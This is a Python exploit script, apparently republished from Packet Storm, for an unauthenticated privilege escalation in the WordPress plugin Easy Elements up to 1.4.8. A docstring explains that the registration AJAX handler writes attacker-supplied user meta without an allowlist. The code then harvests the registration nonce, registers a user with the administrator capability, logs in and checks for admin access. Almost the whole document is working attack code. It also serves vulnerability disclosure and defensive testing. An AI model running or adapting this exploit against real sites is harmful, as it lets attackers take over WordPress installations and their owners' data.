Share
## https://sploitus.com/exploit?id=PACKETSTORM:226462
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Easy Elements (Elementor Addon) <= 1.4.8 - Unauthenticated Privilege Escalation to Administrator
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/easy-elements/
    # Software Link: https://downloads.wordpress.org/plugin/easy-elements.1.4.8.zip
    # Version: 1.4.8 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2026-56028
    r"""
    Easy Elements <= 1.4.8 registers the unauthenticated AJAX action eel_register
    (widgets/login-register/class.login-register.php:9 wp_ajax_nopriv_eel_register; the class is
    instantiated unconditionally at :190, so the handler is live without any Elementor page rendered).
    The 1.4.8 hardening only sanitises the `role` field (forced to subscriber) but STILL loops the
    attacker-supplied `custom_meta` array into update_user_meta() with no key allowlist:
    
        65  $custom_meta = map_deep( wp_unslash($_POST['custom_meta']), 'sanitize_text_field' );
        120 $user_id = wp_insert_user( $user_data );        // role forced to subscriber (red herring)
        127 foreach ( $custom_meta as $key => $value )      // NO allowlist
        128    update_user_meta( $user_id, $key, $value );  // wp_capabilities writable directly
    
    Supplying custom_meta[wp_capabilities][administrator]=1 overwrites the capability meta ->
    the freshly-registered user is an administrator.
    
    The registration nonce (action 'easy_elements_nonce', field 'eel_register_nonce') is printed by the
    Easy Elements "Login / Register" Elementor widget in register mode
    (login-register.php:1562). Because registration is unauthenticated, the nonce is an anonymous-user
    nonce (stable per WordPress nonce tick), harvestable from any page rendering that widget:
        name="eel_register_nonce"\s+value="([a-f0-9]{10})"
    
    Prior state: plugin active + users_can_register=1 + a page containing the Easy Elements
    Login/Register widget (register form) as the nonce source.
    """
    import argparse, sys, re, random
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--nonce", help="easy_elements_nonce (harvested from the Login/Register widget page)")
        ap.add_argument("--page", help="URL of a page rendering the Easy Elements Login/Register widget")
        ap.add_argument("--user", default="eel" + str(random.randint(1000, 99999)))
        ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
        args = ap.parse_args()
        base = args.target.rstrip("/")
        s = requests.Session(); s.verify = False
    
        nonce = args.nonce
        if not nonce and args.page:
            h = s.get(args.page).text
            m = re.search(r'name="eel_register_nonce"\s+value="([a-f0-9]{10})"', h)
            nonce = m.group(1) if m else None
        if not nonce:
            print("[-] need --nonce (from the Login/Register widget page) or --page"); return 1
    
        print(f"[*] Target: {base} | user: {args.user} | nonce: {nonce}")
        d = {"action": "eel_register", "eel_register_nonce": nonce, "nonce": nonce,
             "user_login": args.user, "user_email": args.user + "@evil.test", "user_pass": args.pw,
             "custom_meta[wp_capabilities][administrator]": "1", "auto_login": "yes"}
        r = s.post(base + "/wp-admin/admin-ajax.php", data=d, timeout=25)
        print(f"[*] eel_register -> HTTP {r.status_code} :: {r.text[:140]}")
    
        a = requests.Session(); a.verify = False
        a.get(base + "/wp-login.php"); a.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
        a.post(base + "/wp-login.php", data={"log": args.user, "pwd": args.pw, "wp-submit": "Log In",
               "redirect_to": base + "/wp-admin/", "testcookie": "1"}, allow_redirects=True)
        p = a.get(base + "/wp-admin/plugins.php", timeout=20)
        if p.status_code == 200 and ("Deactivate" in p.text or "plugin-title" in p.text):
            print(f"\n[+] PRIVILEGE ESCALATION CONFIRMED โ€” new user '{args.user}' is administrator.")
            return 0
        print(f"\n[-] not confirmed (plugins.php={p.status_code})"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())